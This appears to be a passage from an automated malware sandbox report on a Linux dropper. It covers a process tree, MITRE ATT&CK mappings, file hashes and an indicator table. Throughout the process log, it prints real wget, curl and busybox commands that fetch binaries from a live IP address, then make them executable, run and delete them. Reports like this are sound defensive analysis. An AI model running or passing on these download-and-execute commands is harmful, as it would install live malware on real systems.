wget http://87.120.84.230/bins/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
PID:947

/usr/bin/curl
curl -O http://87.120.84.230/bins/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:948

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
PID:949

/bin/chmod
chmod 777 weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
- File and Directory Permissions Modification
PID:950

/tmp/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
./weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
- Executes dropped EXE
PID:951

/bin/rm
rm weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
2⤵
PID:952

/usr/bin/wget
wget http://87.120.84.230/bins/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
PID:953

/usr/bin/curl
curl -O http://87.120.84.230/bins/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:954

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
PID:955

/bin/chmod
chmod 777 E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
- File and Directory Permissions Modification
PID:956

/tmp/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
./E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
- Executes dropped EXE
PID:957

/bin/rm
rm E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
2⤵
PID:958

/usr/bin/wget
wget http://87.120.84.230/bins/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
PID:959

/usr/bin/curl
curl -O http://87.120.84.230/bins/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:960

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
PID:961

/bin/chmod
chmod 777 k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
- File and Directory Permissions Modification
PID:962

/tmp/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
./k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
- Executes dropped EXE
PID:963

/bin/rm
rm k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
2⤵
PID:964

/usr/bin/wget
wget http://87.120.84.230/bins/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
PID:965

/usr/bin/curl
curl -O http://87.120.84.230/bins/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:966

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
PID:967

/bin/chmod
chmod 777 FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
- File and Directory Permissions Modification
PID:968

/tmp/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
./FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
- Executes dropped EXE
PID:969

/bin/rm
rm FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
2⤵
PID:970

/usr/bin/wget
wget http://87.120.84.230/bins/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
PID:971

/usr/bin/curl
curl -O http://87.120.84.230/bins/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:972

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
PID:973

/bin/chmod
chmod 777 EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
- File and Directory Permissions Modification
PID:974

/tmp/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
./EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
- Executes dropped EXE
PID:975

/bin/rm
rm EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
2⤵
PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	process
/tmp/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw	735	ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
/tmp/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1	741	h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
/tmp/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px	749	FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
/tmp/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj	775	EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj
/tmp/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc	803	11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
/tmp/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch	810	Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
/tmp/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT	816	K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
/tmp/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa	840	weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
/tmp/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE	858	E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
/tmp/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo	864	k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
/tmp/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8	870	tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
/tmp/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u	879	RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
/tmp/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD	885	SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
/tmp/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ	891	ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
/tmp/tDzQkhNshKptEsPA3ltf516QgABeKEiBY8	897	tDzQkhNshKptEsPA3ltf516QgABeKEiBY8
/tmp/RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u	903	RSVsiwYCxHrOchELoMRMmcL66dqwVZwJ1u
/tmp/SC3qKbILRW2hWzlMHFetryS3VaErrO79PD	909	SC3qKbILRW2hWzlMHFetryS3VaErrO79PD
/tmp/ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ	915	ZrgMO6pEjI2wM65n3dYqHt0qL8qLPQM9nJ
/tmp/ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw	921	ONYgz1i23gINWr7sttSVyPQ1K9qtovRiqw
/tmp/h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1	927	h2rD9sjBA11MtrslXJm4cUm8tqmhQMoZW1
/tmp/11nCDdhzlnSnXajJ21CutBer3j9YONbDPc	933	11nCDdhzlnSnXajJ21CutBer3j9YONbDPc
/tmp/Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch	939	Pq33Nn7gUahnnh7naJ2u1QHOUaTg4RHmch
/tmp/K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT	945	K1PQvMJAcipxCKdeQFyRWbS6bmP6hlNiBT
/tmp/weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa	951	weqJNBf8c2g1fJM1o23r3J0gI8VptLGhPa
/tmp/E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE	957	E2ujNk6VxSkC4Y1HTWeTUzD3cyq9PpamDE
/tmp/k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo	963	k7iBvVYk0WaTgg2uE88KA2XVfKJfYmIWGo
/tmp/FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px	969	FMLH2xw3uQIVGQz3rTgpSiVEtHMceP39px
/tmp/EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj	975	EVecimTLurdRiqRiBbLWuIaqc5SpkzPlaj

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads